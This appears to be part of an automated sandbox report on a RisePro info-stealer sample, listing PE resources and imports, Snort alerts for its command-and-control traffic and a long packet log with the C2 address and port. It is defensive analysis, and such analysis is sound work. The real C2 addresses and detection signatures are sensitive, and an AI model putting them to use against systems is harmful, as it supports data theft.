RT_ICON	0x3668b8	0x5488	Device independent bitmap graphic, 72 x 144 x 32, image size 20736			0.34560998151571165
RT_ICON	0x36bd50	0x94a8	Device independent bitmap graphic, 96 x 192 x 32, image size 36864			0.3220779903300399
RT_ICON	0x375208	0x10828	Device independent bitmap graphic, 128 x 256 x 32, image size 65536			0.2969359990535904
RT_ICON	0x385a40	0xc008	PNG image data, 256 x 256, 8-bit/color RGBA, non-interlaced			0.9982302685109845
RT_GROUP_ICON	0x391a58	0x84	data			0.7272727272727273
RT_VERSION	0x391aec	0x3c0	data			0.38229166666666664
RT_MANIFEST	0x391ebc	0x1ea	XML 1.0 document, Unicode text, UTF-8 (with BOM) text, with CRLF line terminators	English	United States	0.5489795918367347

Imports

DLL	Import
kernel32.dll	GetModuleHandleA
mscoree.dll	_CorExeMain

Possible Origin

Language of compilation system	Country where language is spoken	Map
English	United States

Network Behavior

Snort IDS Alerts

Timestamp	Protocol	SID	Message	Source Port	Dest Port	Source IP	Dest IP
05/23/24-23:33:01.044471	TCP	2046266	ET TROJAN [ANY.RUN] RisePro TCP (Token)	50500	49730	185.172.128.136	192.168.2.4
05/23/24-23:33:07.849352	TCP	2046269	ET TROJAN [ANY.RUN] RisePro TCP (Activity)	49730	50500	192.168.2.4	185.172.128.136
05/23/24-23:33:14.719693	TCP	2046266	ET TROJAN [ANY.RUN] RisePro TCP (Token)	50500	49734	185.172.128.136	192.168.2.4
05/23/24-23:33:02.973535	TCP	2046268	ET TROJAN [ANY.RUN] RisePro TCP v.0.x (Get_settings)	49730	50500	192.168.2.4	185.172.128.136
05/23/24-23:33:00.476492	TCP	2049060	ET TROJAN RisePro TCP Heartbeat Packet	49730	50500	192.168.2.4	185.172.128.136
05/23/24-23:33:06.681318	TCP	2019714	ET CURRENT_EVENTS Terse alphanumeric executable downloader high likelihood of being hostile	49733	80	192.168.2.4	185.172.128.82
05/23/24-23:33:13.613905	TCP	2049660	ET TROJAN RisePro CnC Activity (Outbound)	50500	49730	185.172.128.136	192.168.2.4
05/23/24-23:33:01.285787	TCP	2046267	ET TROJAN [ANY.RUN] RisePro TCP (External IP)	50500	49730	185.172.128.136	192.168.2.4

Network Port Distribution

TCP Packets

Timestamp	Source Port	Dest Port	Source IP	Dest IP
May 23, 2024 23:33:00.464901924 CEST	49730	50500	192.168.2.4	185.172.128.136
May 23, 2024 23:33:00.470700026 CEST	50500	49730	185.172.128.136	192.168.2.4
May 23, 2024 23:33:00.470918894 CEST	49730	50500	192.168.2.4	185.172.128.136
May 23, 2024 23:33:00.476491928 CEST	49730	50500	192.168.2.4	185.172.128.136
May 23, 2024 23:33:00.524092913 CEST	50500	49730	185.172.128.136	192.168.2.4
May 23, 2024 23:33:01.044471025 CEST	50500	49730	185.172.128.136	192.168.2.4
May 23, 2024 23:33:01.099278927 CEST	49730	50500	192.168.2.4	185.172.128.136
May 23, 2024 23:33:01.181986094 CEST	50500	49730	185.172.128.136	192.168.2.4
May 23, 2024 23:33:01.182249069 CEST	49730	50500	192.168.2.4	185.172.128.136
May 23, 2024 23:33:01.187179089 CEST	50500	49730	185.172.128.136	192.168.2.4
May 23, 2024 23:33:01.285787106 CEST	50500	49730	185.172.128.136	192.168.2.4
May 23, 2024 23:33:01.333631039 CEST	49730	50500	192.168.2.4	185.172.128.136
May 23, 2024 23:33:01.396008015 CEST	49731	443	192.168.2.4	34.117.186.192
May 23, 2024 23:33:01.396087885 CEST	443	49731	34.117.186.192	192.168.2.4
May 23, 2024 23:33:01.396187067 CEST	49731	443	192.168.2.4	34.117.186.192
May 23, 2024 23:33:01.398797035 CEST	49731	443	192.168.2.4	34.117.186.192
May 23, 2024 23:33:01.398875952 CEST	443	49731	34.117.186.192	192.168.2.4
May 23, 2024 23:33:01.879273891 CEST	443	49731	34.117.186.192	192.168.2.4
May 23, 2024 23:33:01.879451990 CEST	49731	443	192.168.2.4	34.117.186.192
May 23, 2024 23:33:01.989502907 CEST	49731	443	192.168.2.4	34.117.186.192
May 23, 2024 23:33:01.989582062 CEST	443	49731	34.117.186.192	192.168.2.4
May 23, 2024 23:33:01.989927053 CEST	443	49731	34.117.186.192	192.168.2.4
May 23, 2024 23:33:02.036748886 CEST	49731	443	192.168.2.4	34.117.186.192
May 23, 2024 23:33:02.053458929 CEST	49731	443	192.168.2.4	34.117.186.192
May 23, 2024 23:33:02.094536066 CEST	443	49731	34.117.186.192	192.168.2.4
May 23, 2024 23:33:02.198528051 CEST	443	49731	34.117.186.192	192.168.2.4
May 23, 2024 23:33:02.198668957 CEST	443	49731	34.117.186.192	192.168.2.4
May 23, 2024 23:33:02.198931932 CEST	49731	443	192.168.2.4	34.117.186.192
May 23, 2024 23:33:02.201991081 CEST	49731	443	192.168.2.4	34.117.186.192
May 23, 2024 23:33:02.201992035 CEST	49731	443	192.168.2.4	34.117.186.192
May 23, 2024 23:33:02.202054024 CEST	443	49731	34.117.186.192	192.168.2.4
May 23, 2024 23:33:02.202089071 CEST	443	49731	34.117.186.192	192.168.2.4
May 23, 2024 23:33:02.257061005 CEST	49732	443	192.168.2.4	104.26.4.15
May 23, 2024 23:33:02.257103920 CEST	443	49732	104.26.4.15	192.168.2.4
May 23, 2024 23:33:02.257184029 CEST	49732	443	192.168.2.4	104.26.4.15
May 23, 2024 23:33:02.257446051 CEST	49732	443	192.168.2.4	104.26.4.15
May 23, 2024 23:33:02.257458925 CEST	443	49732	104.26.4.15	192.168.2.4
May 23, 2024 23:33:02.740271091 CEST	443	49732	104.26.4.15	192.168.2.4
May 23, 2024 23:33:02.740361929 CEST	49732	443	192.168.2.4	104.26.4.15
May 23, 2024 23:33:02.743099928 CEST	49732	443	192.168.2.4	104.26.4.15
May 23, 2024 23:33:02.743104935 CEST	443	49732	104.26.4.15	192.168.2.4
May 23, 2024 23:33:02.743299961 CEST	443	49732	104.26.4.15	192.168.2.4
May 23, 2024 23:33:02.744607925 CEST	49732	443	192.168.2.4	104.26.4.15
May 23, 2024 23:33:02.790493011 CEST	443	49732	104.26.4.15	192.168.2.4
May 23, 2024 23:33:02.972740889 CEST	443	49732	104.26.4.15	192.168.2.4
May 23, 2024 23:33:02.972805023 CEST	443	49732	104.26.4.15	192.168.2.4
May 23, 2024 23:33:02.972937107 CEST	49732	443	192.168.2.4	104.26.4.15
May 23, 2024 23:33:02.973037004 CEST	49732	443	192.168.2.4	104.26.4.15
May 23, 2024 23:33:02.973047972 CEST	443	49732	104.26.4.15	192.168.2.4
May 23, 2024 23:33:02.973056078 CEST	49732	443	192.168.2.4	104.26.4.15
May 23, 2024 23:33:02.973059893 CEST	443	49732	104.26.4.15	192.168.2.4
May 23, 2024 23:33:02.973535061 CEST	49730	50500	192.168.2.4	185.172.128.136
May 23, 2024 23:33:03.027919054 CEST	50500	49730	185.172.128.136	192.168.2.4
May 23, 2024 23:33:03.235481977 CEST	50500	49730	185.172.128.136	192.168.2.4
May 23, 2024 23:33:03.286807060 CEST	49730	50500	192.168.2.4	185.172.128.136
May 23, 2024 23:33:03.302556038 CEST	49730	50500	192.168.2.4	185.172.128.136
May 23, 2024 23:33:03.356386900 CEST	50500	49730	185.172.128.136	192.168.2.4
May 23, 2024 23:33:03.561558008 CEST	50500	49730	185.172.128.136	192.168.2.4
May 23, 2024 23:33:03.614873886 CEST	49730	50500	192.168.2.4	185.172.128.136
May 23, 2024 23:33:03.630615950 CEST	49730	50500	192.168.2.4	185.172.128.136
May 23, 2024 23:33:03.668224096 CEST	50500	49730	185.172.128.136	192.168.2.4
May 23, 2024 23:33:03.874423027 CEST	50500	49730	185.172.128.136	192.168.2.4
May 23, 2024 23:33:03.876507044 CEST	50500	49730	185.172.128.136	192.168.2.4
May 23, 2024 23:33:03.876780033 CEST	49730	50500	192.168.2.4	185.172.128.136
May 23, 2024 23:33:03.881350040 CEST	50500	49730	185.172.128.136	192.168.2.4
May 23, 2024 23:33:03.881366968 CEST	50500	49730	185.172.128.136	192.168.2.4
May 23, 2024 23:33:03.881540060 CEST	49730	50500	192.168.2.4	185.172.128.136
May 23, 2024 23:33:03.890902996 CEST	50500	49730	185.172.128.136	192.168.2.4
May 23, 2024 23:33:03.943202019 CEST	49730	50500	192.168.2.4	185.172.128.136
May 23, 2024 23:33:03.944921017 CEST	50500	49730	185.172.128.136	192.168.2.4
May 23, 2024 23:33:03.945097923 CEST	49730	50500	192.168.2.4	185.172.128.136
May 23, 2024 23:33:03.958750010 CEST	49730	50500	192.168.2.4	185.172.128.136
May 23, 2024 23:33:04.270001888 CEST	50500	49730	185.172.128.136	192.168.2.4
May 23, 2024 23:33:04.468923092 CEST	50500	49730	185.172.128.136	192.168.2.4
May 23, 2024 23:33:04.505770922 CEST	49730	50500	192.168.2.4	185.172.128.136
May 23, 2024 23:33:04.516827106 CEST	50500	49730	185.172.128.136	192.168.2.4
May 23, 2024 23:33:04.724045038 CEST	50500	49730	185.172.128.136	192.168.2.4
May 23, 2024 23:33:04.771292925 CEST	49730	50500	192.168.2.4	185.172.128.136
May 23, 2024 23:33:05.967634916 CEST	49730	50500	192.168.2.4	185.172.128.136
May 23, 2024 23:33:05.970901966 CEST	49730	50500	192.168.2.4	185.172.128.136
May 23, 2024 23:33:05.972743034 CEST	50500	49730	185.172.128.136	192.168.2.4
May 23, 2024 23:33:05.977463961 CEST	50500	49730	185.172.128.136	192.168.2.4
May 23, 2024 23:33:05.977475882 CEST	50500	49730	185.172.128.136	192.168.2.4
May 23, 2024 23:33:05.977487087 CEST	50500	49730	185.172.128.136	192.168.2.4
May 23, 2024 23:33:05.977499008 CEST	50500	49730	185.172.128.136	192.168.2.4
May 23, 2024 23:33:05.977677107 CEST	49730	50500	192.168.2.4	185.172.128.136
May 23, 2024 23:33:05.982806921 CEST	50500	49730	185.172.128.136	192.168.2.4
May 23, 2024 23:33:05.982835054 CEST	50500	49730	185.172.128.136	192.168.2.4
May 23, 2024 23:33:05.982861996 CEST	50500	49730	185.172.128.136	192.168.2.4
May 23, 2024 23:33:05.982887983 CEST	50500	49730	185.172.128.136	192.168.2.4
May 23, 2024 23:33:05.982913017 CEST	50500	49730	185.172.128.136	192.168.2.4
May 23, 2024 23:33:05.982939959 CEST	50500	49730	185.172.128.136	192.168.2.4
May 23, 2024 23:33:05.983057022 CEST	49730	50500	192.168.2.4	185.172.128.136
May 23, 2024 23:33:05.989980936 CEST	50500	49730	185.172.128.136	192.168.2.4
May 23, 2024 23:33:05.990025997 CEST	50500	49730	185.172.128.136	192.168.2.4
May 23, 2024 23:33:05.990051985 CEST	50500	49730	185.172.128.136	192.168.2.4
May 23, 2024 23:33:05.990077972 CEST	50500	49730	185.172.128.136	192.168.2.4
May 23, 2024 23:33:05.990103960 CEST	50500	49730	185.172.128.136	192.168.2.4
May 23, 2024 23:33:05.990129948 CEST	50500	49730	185.172.128.136	192.168.2.4
May 23, 2024 23:33:05.990247965 CEST	49730	50500	192.168.2.4	185.172.128.136
May 23, 2024 23:33:05.997123957 CEST	50500	49730	185.172.128.136	192.168.2.4
May 23, 2024 23:33:05.997150898 CEST	50500	49730	185.172.128.136	192.168.2.4
May 23, 2024 23:33:05.997349024 CEST	49730	50500	192.168.2.4	185.172.128.136
May 23, 2024 23:33:06.001967907 CEST	50500	49730	185.172.128.136	192.168.2.4
May 23, 2024 23:33:06.001980066 CEST	50500	49730	185.172.128.136	192.168.2.4
May 23, 2024 23:33:06.001991987 CEST	50500	49730	185.172.128.136	192.168.2.4
May 23, 2024 23:33:06.002002954 CEST	50500	49730	185.172.128.136	192.168.2.4
May 23, 2024 23:33:06.002013922 CEST	50500	49730	185.172.128.136	192.168.2.4
May 23, 2024 23:33:06.002023935 CEST	50500	49730	185.172.128.136	192.168.2.4
May 23, 2024 23:33:06.002159119 CEST	49730	50500	192.168.2.4	185.172.128.136
May 23, 2024 23:33:06.004446030 CEST	49733	80	192.168.2.4	185.172.128.82
May 23, 2024 23:33:06.006745100 CEST	50500	49730	185.172.128.136	192.168.2.4
May 23, 2024 23:33:06.006757021 CEST	50500	49730	185.172.128.136	192.168.2.4
May 23, 2024 23:33:06.006767988 CEST	50500	49730	185.172.128.136	192.168.2.4
May 23, 2024 23:33:06.006896973 CEST	49730	50500	192.168.2.4	185.172.128.136
May 23, 2024 23:33:06.007735968 CEST	50500	49730	185.172.128.136	192.168.2.4
May 23, 2024 23:33:06.007747889 CEST	50500	49730	185.172.128.136	192.168.2.4
May 23, 2024 23:33:06.007759094 CEST	50500	49730	185.172.128.136	192.168.2.4
May 23, 2024 23:33:06.007770061 CEST	50500	49730	185.172.128.136	192.168.2.4
May 23, 2024 23:33:06.007781029 CEST	50500	49730	185.172.128.136	192.168.2.4
May 23, 2024 23:33:06.007791996 CEST	50500	49730	185.172.128.136	192.168.2.4
May 23, 2024 23:33:06.007802963 CEST	50500	49730	185.172.128.136	192.168.2.4
May 23, 2024 23:33:06.007813931 CEST	50500	49730	185.172.128.136	192.168.2.4
May 23, 2024 23:33:06.007824898 CEST	50500	49730	185.172.128.136	192.168.2.4
May 23, 2024 23:33:06.007836103 CEST	50500	49730	185.172.128.136	192.168.2.4
May 23, 2024 23:33:06.007847071 CEST	50500	49730	185.172.128.136	192.168.2.4
May 23, 2024 23:33:06.007857084 CEST	50500	49730	185.172.128.136	192.168.2.4
May 23, 2024 23:33:06.007868052 CEST	50500	49730	185.172.128.136	192.168.2.4
May 23, 2024 23:33:06.007879019 CEST	50500	49730	185.172.128.136	192.168.2.4
May 23, 2024 23:33:06.007889032 CEST	50500	49730	185.172.128.136	192.168.2.4
May 23, 2024 23:33:06.007900000 CEST	50500	49730	185.172.128.136	192.168.2.4
May 23, 2024 23:33:06.007910967 CEST	50500	49730	185.172.128.136	192.168.2.4
May 23, 2024 23:33:06.007921934 CEST	50500	49730	185.172.128.136	192.168.2.4
May 23, 2024 23:33:06.007932901 CEST	50500	49730	185.172.128.136	192.168.2.4
May 23, 2024 23:33:06.007944107 CEST	50500	49730	185.172.128.136	192.168.2.4
May 23, 2024 23:33:06.007955074 CEST	50500	49730	185.172.128.136	192.168.2.4
May 23, 2024 23:33:06.007994890 CEST	49730	50500	192.168.2.4	185.172.128.136
May 23, 2024 23:33:06.008240938 CEST	49730	50500	192.168.2.4	185.172.128.136
May 23, 2024 23:33:06.011735916 CEST	50500	49730	185.172.128.136	192.168.2.4
May 23, 2024 23:33:06.011750937 CEST	50500	49730	185.172.128.136	192.168.2.4
May 23, 2024 23:33:06.011761904 CEST	50500	49730	185.172.128.136	192.168.2.4
May 23, 2024 23:33:06.011774063 CEST	50500	49730	185.172.128.136	192.168.2.4
May 23, 2024 23:33:06.011785030 CEST	50500	49730	185.172.128.136	192.168.2.4
May 23, 2024 23:33:06.011795998 CEST	50500	49730	185.172.128.136	192.168.2.4
May 23, 2024 23:33:06.011806965 CEST	50500	49730	185.172.128.136	192.168.2.4
May 23, 2024 23:33:06.011943102 CEST	49730	50500	192.168.2.4	185.172.128.136
May 23, 2024 23:33:06.012605906 CEST	50500	49730	185.172.128.136	192.168.2.4
May 23, 2024 23:33:06.012620926 CEST	80	49733	185.172.128.82	192.168.2.4
May 23, 2024 23:33:06.012634039 CEST	50500	49730	185.172.128.136	192.168.2.4
May 23, 2024 23:33:06.012645006 CEST	50500	49730	185.172.128.136	192.168.2.4
May 23, 2024 23:33:06.012656927 CEST	50500	49730	185.172.128.136	192.168.2.4
May 23, 2024 23:33:06.012667894 CEST	50500	49730	185.172.128.136	192.168.2.4
May 23, 2024 23:33:06.012679100 CEST	50500	49730	185.172.128.136	192.168.2.4
May 23, 2024 23:33:06.012690067 CEST	50500	49730	185.172.128.136	192.168.2.4
May 23, 2024 23:33:06.012701035 CEST	50500	49730	185.172.128.136	192.168.2.4
May 23, 2024 23:33:06.012712002 CEST	50500	49730	185.172.128.136	192.168.2.4
May 23, 2024 23:33:06.012722969 CEST	50500	49730	185.172.128.136	192.168.2.4
May 23, 2024 23:33:06.012733936 CEST	50500	49730	185.172.128.136	192.168.2.4
May 23, 2024 23:33:06.012744904 CEST	50500	49730	185.172.128.136	192.168.2.4
May 23, 2024 23:33:06.012756109 CEST	50500	49730	185.172.128.136	192.168.2.4
May 23, 2024 23:33:06.012767076 CEST	50500	49730	185.172.128.136	192.168.2.4
May 23, 2024 23:33:06.012778997 CEST	50500	49730	185.172.128.136	192.168.2.4
May 23, 2024 23:33:06.012789965 CEST	50500	49730	185.172.128.136	192.168.2.4
May 23, 2024 23:33:06.012800932 CEST	50500	49730	185.172.128.136	192.168.2.4
May 23, 2024 23:33:06.012810946 CEST	50500	49730	185.172.128.136	192.168.2.4
May 23, 2024 23:33:06.012821913 CEST	50500	49730	185.172.128.136	192.168.2.4
May 23, 2024 23:33:06.012833118 CEST	50500	49730	185.172.128.136	192.168.2.4
May 23, 2024 23:33:06.012878895 CEST	49733	80	192.168.2.4	185.172.128.82
May 23, 2024 23:33:06.012878895 CEST	49730	50500	192.168.2.4	185.172.128.136
May 23, 2024 23:33:06.013114929 CEST	49733	80	192.168.2.4	185.172.128.82
May 23, 2024 23:33:06.014874935 CEST	50500	49730	185.172.128.136	192.168.2.4
May 23, 2024 23:33:06.014889956 CEST	50500	49730	185.172.128.136	192.168.2.4
May 23, 2024 23:33:06.014902115 CEST	50500	49730	185.172.128.136	192.168.2.4
May 23, 2024 23:33:06.014913082 CEST	50500	49730	185.172.128.136	192.168.2.4
May 23, 2024 23:33:06.014924049 CEST	50500	49730	185.172.128.136	192.168.2.4
May 23, 2024 23:33:06.014935017 CEST	50500	49730	185.172.128.136	192.168.2.4
May 23, 2024 23:33:06.014945984 CEST	50500	49730	185.172.128.136	192.168.2.4
May 23, 2024 23:33:06.014945984 CEST	49730	50500	192.168.2.4	185.172.128.136
May 23, 2024 23:33:06.014957905 CEST	50500	49730	185.172.128.136	192.168.2.4
May 23, 2024 23:33:06.014970064 CEST	50500	49730	185.172.128.136	192.168.2.4
May 23, 2024 23:33:06.014981985 CEST	50500	49730	185.172.128.136	192.168.2.4
May 23, 2024 23:33:06.014992952 CEST	50500	49730	185.172.128.136	192.168.2.4
May 23, 2024 23:33:06.015002966 CEST	50500	49730	185.172.128.136	192.168.2.4
May 23, 2024 23:33:06.015013933 CEST	50500	49730	185.172.128.136	192.168.2.4
May 23, 2024 23:33:06.015024900 CEST	50500	49730	185.172.128.136	192.168.2.4
May 23, 2024 23:33:06.015036106 CEST	50500	49730	185.172.128.136	192.168.2.4
May 23, 2024 23:33:06.015037060 CEST	49730	50500	192.168.2.4	185.172.128.136
May 23, 2024 23:33:06.015045881 CEST	50500	49730	185.172.128.136	192.168.2.4
May 23, 2024 23:33:06.015058041 CEST	50500	49730	185.172.128.136	192.168.2.4
May 23, 2024 23:33:06.015069962 CEST	50500	49730	185.172.128.136	192.168.2.4
May 23, 2024 23:33:06.015081882 CEST	50500	49730	185.172.128.136	192.168.2.4
May 23, 2024 23:33:06.015094042 CEST	50500	49730	185.172.128.136	192.168.2.4
May 23, 2024 23:33:06.015105009 CEST	50500	49730	185.172.128.136	192.168.2.4
May 23, 2024 23:33:06.015115976 CEST	50500	49730	185.172.128.136	192.168.2.4
May 23, 2024 23:33:06.015135050 CEST	49730	50500	192.168.2.4	185.172.128.136
May 23, 2024 23:33:06.015192032 CEST	49730	50500	192.168.2.4	185.172.128.136
May 23, 2024 23:33:06.017182112 CEST	50500	49730	185.172.128.136	192.168.2.4
May 23, 2024 23:33:06.017196894 CEST	50500	49730	185.172.128.136	192.168.2.4
May 23, 2024 23:33:06.017208099 CEST	50500	49730	185.172.128.136	192.168.2.4
May 23, 2024 23:33:06.017220020 CEST	50500	49730	185.172.128.136	192.168.2.4
May 23, 2024 23:33:06.017230988 CEST	50500	49730	185.172.128.136	192.168.2.4
May 23, 2024 23:33:06.017241955 CEST	50500	49730	185.172.128.136	192.168.2.4
May 23, 2024 23:33:06.017252922 CEST	50500	49730	185.172.128.136	192.168.2.4
May 23, 2024 23:33:06.017263889 CEST	50500	49730	185.172.128.136	192.168.2.4
May 23, 2024 23:33:06.017263889 CEST	49730	50500	192.168.2.4	185.172.128.136
May 23, 2024 23:33:06.017275095 CEST	50500	49730	185.172.128.136	192.168.2.4
May 23, 2024 23:33:06.017287016 CEST	50500	49730	185.172.128.136	192.168.2.4
May 23, 2024 23:33:06.017297983 CEST	50500	49730	185.172.128.136	192.168.2.4
May 23, 2024 23:33:06.017309904 CEST	50500	49730	185.172.128.136	192.168.2.4
May 23, 2024 23:33:06.017319918 CEST	49730	50500	192.168.2.4	185.172.128.136
May 23, 2024 23:33:06.017321110 CEST	50500	49730	185.172.128.136	192.168.2.4
May 23, 2024 23:33:06.017333031 CEST	50500	49730	185.172.128.136	192.168.2.4
May 23, 2024 23:33:06.017344952 CEST	50500	49730	185.172.128.136	192.168.2.4
May 23, 2024 23:33:06.017357111 CEST	50500	49730	185.172.128.136	192.168.2.4
May 23, 2024 23:33:06.017369986 CEST	50500	49730	185.172.128.136	192.168.2.4
May 23, 2024 23:33:06.017381907 CEST	50500	49730	185.172.128.136	192.168.2.4
May 23, 2024 23:33:06.017388105 CEST	49730	50500	192.168.2.4	185.172.128.136
May 23, 2024 23:33:06.017393112 CEST	50500	49730	185.172.128.136	192.168.2.4
May 23, 2024 23:33:06.017404079 CEST	50500	49730	185.172.128.136	192.168.2.4
May 23, 2024 23:33:06.017416000 CEST	50500	49730	185.172.128.136	192.168.2.4
May 23, 2024 23:33:06.017452955 CEST	49730	50500	192.168.2.4	185.172.128.136
May 23, 2024 23:33:06.017538071 CEST	49730	50500	192.168.2.4	185.172.128.136
May 23, 2024 23:33:06.019553900 CEST	50500	49730	185.172.128.136	192.168.2.4
May 23, 2024 23:33:06.019567966 CEST	50500	49730	185.172.128.136	192.168.2.4
May 23, 2024 23:33:06.019578934 CEST	50500	49730	185.172.128.136	192.168.2.4
May 23, 2024 23:33:06.019635916 CEST	49730	50500	192.168.2.4	185.172.128.136
May 23, 2024 23:33:06.019814968 CEST	50500	49730	185.172.128.136	192.168.2.4
May 23, 2024 23:33:06.019828081 CEST	50500	49730	185.172.128.136	192.168.2.4
May 23, 2024 23:33:06.019839048 CEST	50500	49730	185.172.128.136	192.168.2.4
May 23, 2024 23:33:06.019849062 CEST	50500	49730	185.172.128.136	192.168.2.4
May 23, 2024 23:33:06.019860029 CEST	50500	49730	185.172.128.136	192.168.2.4
May 23, 2024 23:33:06.019871950 CEST	50500	49730	185.172.128.136	192.168.2.4
May 23, 2024 23:33:06.019882917 CEST	50500	49730	185.172.128.136	192.168.2.4
May 23, 2024 23:33:06.019893885 CEST	50500	49730	185.172.128.136	192.168.2.4
May 23, 2024 23:33:06.019901037 CEST	49730	50500	192.168.2.4	185.172.128.136
May 23, 2024 23:33:06.019905090 CEST	50500	49730	185.172.128.136	192.168.2.4
May 23, 2024 23:33:06.019916058 CEST	50500	49730	185.172.128.136	192.168.2.4
May 23, 2024 23:33:06.019927979 CEST	50500	49730	185.172.128.136	192.168.2.4
May 23, 2024 23:33:06.019939899 CEST	50500	49730	185.172.128.136	192.168.2.4
May 23, 2024 23:33:06.019951105 CEST	50500	49730	185.172.128.136	192.168.2.4
May 23, 2024 23:33:06.019961119 CEST	49730	50500	192.168.2.4	185.172.128.136
May 23, 2024 23:33:06.019962072 CEST	50500	49730	185.172.128.136	192.168.2.4
May 23, 2024 23:33:06.019974947 CEST	50500	49730	185.172.128.136	192.168.2.4
May 23, 2024 23:33:06.019985914 CEST	50500	49730	185.172.128.136	192.168.2.4
May 23, 2024 23:33:06.019999027 CEST	50500	49730	185.172.128.136	192.168.2.4
May 23, 2024 23:33:06.020010948 CEST	50500	49730	185.172.128.136	192.168.2.4
May 23, 2024 23:33:06.020019054 CEST	49730	50500	192.168.2.4	185.172.128.136
May 23, 2024 23:33:06.020021915 CEST	50500	49730	185.172.128.136	192.168.2.4
May 23, 2024 23:33:06.020034075 CEST	50500	49730	185.172.128.136	192.168.2.4
May 23, 2024 23:33:06.020045996 CEST	50500	49730	185.172.128.136	192.168.2.4
May 23, 2024 23:33:06.020090103 CEST	49730	50500	192.168.2.4	185.172.128.136
May 23, 2024 23:33:06.020128965 CEST	49730	50500	192.168.2.4	185.172.128.136
May 23, 2024 23:33:06.021637917 CEST	50500	49730	185.172.128.136	192.168.2.4
May 23, 2024 23:33:06.021652937 CEST	50500	49730	185.172.128.136	192.168.2.4
May 23, 2024 23:33:06.021663904 CEST	50500	49730	185.172.128.136	192.168.2.4
May 23, 2024 23:33:06.021675110 CEST	50500	49730	185.172.128.136	192.168.2.4
May 23, 2024 23:33:06.021686077 CEST	50500	49730	185.172.128.136	192.168.2.4
May 23, 2024 23:33:06.021712065 CEST	50500	49730	185.172.128.136	192.168.2.4
May 23, 2024 23:33:06.021713972 CEST	49730	50500	192.168.2.4	185.172.128.136
May 23, 2024 23:33:06.021724939 CEST	50500	49730	185.172.128.136	192.168.2.4
May 23, 2024 23:33:06.021737099 CEST	50500	49730	185.172.128.136	192.168.2.4
May 23, 2024 23:33:06.021749020 CEST	50500	49730	185.172.128.136	192.168.2.4
May 23, 2024 23:33:06.021765947 CEST	50500	49730	185.172.128.136	192.168.2.4
May 23, 2024 23:33:06.021766901 CEST	49730	50500	192.168.2.4	185.172.128.136
May 23, 2024 23:33:06.021776915 CEST	50500	49730	185.172.128.136	192.168.2.4
May 23, 2024 23:33:06.021790028 CEST	50500	49730	185.172.128.136	192.168.2.4
May 23, 2024 23:33:06.021801949 CEST	50500	49730	185.172.128.136	192.168.2.4
May 23, 2024 23:33:06.021811008 CEST	49730	50500	192.168.2.4	185.172.128.136
May 23, 2024 23:33:06.021812916 CEST	50500	49730	185.172.128.136	192.168.2.4
May 23, 2024 23:33:06.021825075 CEST	50500	49730	185.172.128.136	192.168.2.4
May 23, 2024 23:33:06.021836996 CEST	50500	49730	185.172.128.136	192.168.2.4
May 23, 2024 23:33:06.021848917 CEST	50500	49730	185.172.128.136	192.168.2.4
May 23, 2024 23:33:06.021853924 CEST	49730	50500	192.168.2.4	185.172.128.136
May 23, 2024 23:33:06.021859884 CEST	50500	49730	185.172.128.136	192.168.2.4
May 23, 2024 23:33:06.021871090 CEST	50500	49730	185.172.128.136	192.168.2.4
May 23, 2024 23:33:06.021883965 CEST	50500	49730	185.172.128.136	192.168.2.4
May 23, 2024 23:33:06.021894932 CEST	50500	49730	185.172.128.136	192.168.2.4
May 23, 2024 23:33:06.021907091 CEST	50500	49730	185.172.128.136	192.168.2.4
May 23, 2024 23:33:06.021944046 CEST	49730	50500	192.168.2.4	185.172.128.136
May 23, 2024 23:33:06.023576975 CEST	50500	49730	185.172.128.136	192.168.2.4
May 23, 2024 23:33:06.023597002 CEST	50500	49730	185.172.128.136	192.168.2.4
May 23, 2024 23:33:06.023607969 CEST	50500	49730	185.172.128.136	192.168.2.4
May 23, 2024 23:33:06.023618937 CEST	50500	49730	185.172.128.136	192.168.2.4
May 23, 2024 23:33:06.023629904 CEST	50500	49730	185.172.128.136	192.168.2.4
May 23, 2024 23:33:06.023642063 CEST	50500	49730	185.172.128.136	192.168.2.4
May 23, 2024 23:33:06.023653030 CEST	50500	49730	185.172.128.136	192.168.2.4
May 23, 2024 23:33:06.023663044 CEST	49730	50500	192.168.2.4	185.172.128.136
May 23, 2024 23:33:06.023663998 CEST	50500	49730	185.172.128.136	192.168.2.4
May 23, 2024 23:33:06.023675919 CEST	50500	49730	185.172.128.136	192.168.2.4
May 23, 2024 23:33:06.023689032 CEST	50500	49730	185.172.128.136	192.168.2.4
May 23, 2024 23:33:06.023703098 CEST	50500	49730	185.172.128.136	192.168.2.4
May 23, 2024 23:33:06.023713112 CEST	49730	50500	192.168.2.4	185.172.128.136
May 23, 2024 23:33:06.023714066 CEST	50500	49730	185.172.128.136	192.168.2.4
May 23, 2024 23:33:06.023726940 CEST	80	49733	185.172.128.82	192.168.2.4
May 23, 2024 23:33:06.023737907 CEST	50500	49730	185.172.128.136	192.168.2.4
May 23, 2024 23:33:06.023751020 CEST	50500	49730	185.172.128.136	192.168.2.4
May 23, 2024 23:33:06.023761988 CEST	50500	49730	185.172.128.136	192.168.2.4
May 23, 2024 23:33:06.023768902 CEST	49730	50500	192.168.2.4	185.172.128.136
May 23, 2024 23:33:06.023772955 CEST	50500	49730	185.172.128.136	192.168.2.4
May 23, 2024 23:33:06.023785114 CEST	50500	49730	185.172.128.136	192.168.2.4
May 23, 2024 23:33:06.023797035 CEST	50500	49730	185.172.128.136	192.168.2.4
May 23, 2024 23:33:06.023808956 CEST	50500	49730	185.172.128.136	192.168.2.4
May 23, 2024 23:33:06.023813963 CEST	49730	50500	192.168.2.4	185.172.128.136
May 23, 2024 23:33:06.023819923 CEST	50500	49730	185.172.128.136	192.168.2.4
May 23, 2024 23:33:06.023869038 CEST	49730	50500	192.168.2.4	185.172.128.136
May 23, 2024 23:33:06.025280952 CEST	50500	49730	185.172.128.136	192.168.2.4
May 23, 2024 23:33:06.025295973 CEST	50500	49730	185.172.128.136	192.168.2.4
May 23, 2024 23:33:06.025307894 CEST	50500	49730	185.172.128.136	192.168.2.4
May 23, 2024 23:33:06.025319099 CEST	50500	49730	185.172.128.136	192.168.2.4
May 23, 2024 23:33:06.025330067 CEST	50500	49730	185.172.128.136	192.168.2.4
May 23, 2024 23:33:06.025341034 CEST	50500	49730	185.172.128.136	192.168.2.4
May 23, 2024 23:33:06.025352001 CEST	50500	49730	185.172.128.136	192.168.2.4
May 23, 2024 23:33:06.025352001 CEST	49730	50500	192.168.2.4	185.172.128.136
May 23, 2024 23:33:06.025363922 CEST	50500	49730	185.172.128.136	192.168.2.4
May 23, 2024 23:33:06.025376081 CEST	50500	49730	185.172.128.136	192.168.2.4
